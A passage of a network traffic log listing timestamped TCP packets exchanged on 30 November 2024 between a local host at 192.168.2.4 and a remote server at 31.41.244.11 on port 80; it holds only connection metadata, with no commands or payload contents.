Nov 30, 2024 18:08:28.003839016 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.003880024 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.006150961 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.006203890 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.006323099 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.006362915 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.009242058 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.009293079 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.070995092 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.071057081 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.071316957 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.071357965 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.072639942 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.072688103 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.072805882 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.072844028 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.075632095 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.075692892 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.075829983 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.075875044 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.078641891 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.078706980 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.078818083 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.078861952 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.081726074 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.081804037 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.081924915 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.081964016 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.084866047 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.084916115 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.085062027 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.085103989 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.087969065 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.088028908 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.088223934 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.088269949 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.091097116 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.091161013 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.091319084 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.091362953 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.094192982 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.094244957 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.094393015 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.094433069 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.097790956 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.097841024 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.097979069 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.098020077 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.100800037 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.100845098 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.100940943 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.100980043 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.103809118 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.103888035 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.104069948 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.104114056 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.106663942 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.106710911 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.106865883 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.106904984 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.109790087 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.109839916 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.109994888 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.110033989 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.113019943 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.113070965 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.113235950 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.113280058 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.116075039 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.116123915 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.116242886 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.116281986 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.119111061 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.119153023 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.119327068 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.119371891 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.122236967 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.122297049 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.122438908 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.122481108 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.124349117 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.124411106 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.124541998 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.124588013 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.126424074 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.126473904 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.126681089 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.126720905 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.128484011 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.128524065 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.128662109 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.128700972 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.129914999 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.129956961 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.130069971 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.130110025 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.131155014 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.131196022 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.131345987 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.131387949 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.132550955 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.132607937 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.132818937 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.132869959 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.133867025 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.133907080 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.134057999 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.134098053 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.135135889 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.135175943 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.135353088 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.135392904 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.136476040 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.136522055 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.136676073 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.136715889 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.137795925 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.137835026 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.138035059 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.138075113 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.139137983 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.139179945 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.139307022 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.139353991 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.140472889 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.140516996 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.140676022 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.140717983 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.141834974 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.141872883 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.141967058 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.142023087 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.143088102 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.143125057 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.143309116 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.143346071 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.144449949 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.144491911 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.144597054 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.144639969 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.145785093 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.145828009 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.145983934 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.146025896 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.147079945 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.147119999 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.147283077 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.147322893 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.148395061 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.148441076 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.148602962 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.148653030 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.149818897 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.149853945 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.150048971 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.150089025 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.151074886 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.151114941 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.151242018 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.151281118 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.152396917 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.152436972 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.152592897 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.152636051 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.153707027 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.153757095 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.153909922 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.153949022 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.155052900 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.155088902 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.155299902 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.155339003 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.156364918 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.156404972 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.156532049 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.156570911 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.158181906 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.158231974 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.158483028 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.158528090 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.159413099 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.159456015 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.159574986 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.159614086 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.160562038 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.160614967 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.160672903 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.160712957 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.161658049 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.161701918 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.161886930 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.161928892 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.163005114 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.163047075 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.163172007 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.163211107 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.164335966 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.164376974 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.164506912 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.164551973 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.165610075 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.165657043 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.165827990 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.165877104 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.166960955 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.167004108 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.167156935 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.167195082 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.168277025 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.168322086 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.168462038 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.168503046 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.169600010 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.169641018 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.169800043 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.169841051 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.170954943 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.170996904 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.171221972 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.171269894 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.276257038 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.276324987 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.276433945 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.276472092 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.276911974 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.276952982 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.277201891 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.277247906 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.278242111 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.278284073 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.278445005 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.278484106 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.279606104 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.279642105 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.279861927 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.279901028 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.280904055 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.280951023 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.281115055 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.281158924 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.282219887 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.282259941 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.282418013 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.282459974 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.283543110 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.283588886 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.283751011 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.283797026 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.284869909 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.284909964 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.285073042 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.285109997 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.286205053 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.286242962 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.286575079 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.286623001 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.287547112 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.287587881 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.287772894 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.287811041 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.288842916 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.288883924 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.289073944 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.289114952 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.290185928 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.290226936 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.290402889 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.290442944 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.291529894 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.291572094 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.291728973 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.291769028 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.292836905 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.292877913 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.293040991 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.293081999 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.294761896 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.294795990 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.294878006 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.294914007 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.295743942 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.295779943 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.295979977 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.296015978 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.297111988 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.297168970 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.297252893 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.297288895 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.298160076 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.298207045 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.298377991 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.298420906 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.299489021 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.299530983 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.299686909 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.299729109 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.300795078 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.300836086 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.301002026 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.301043034 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.302130938 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.302170992 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.302349091 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.302396059 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.303446054 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.303481102 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.303659916 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.303699970 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.304781914 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.304819107 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.304999113 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.305037975 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.306098938 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.306139946 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.306315899 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.306350946 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.307416916 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.307482004 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.307620049 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.307657003 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.308731079 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.308770895 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.308938026 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.308978081 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.310101986 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.310146093 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.310307980 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.310345888 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.311439991 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.311477900 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.311614037 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.311656952 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.312715054 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.312757015 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.312926054 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.312969923 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.314040899 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.314088106 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.314254999 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.314292908 CET	49805	80	192.168.2.4	31.41.244.11
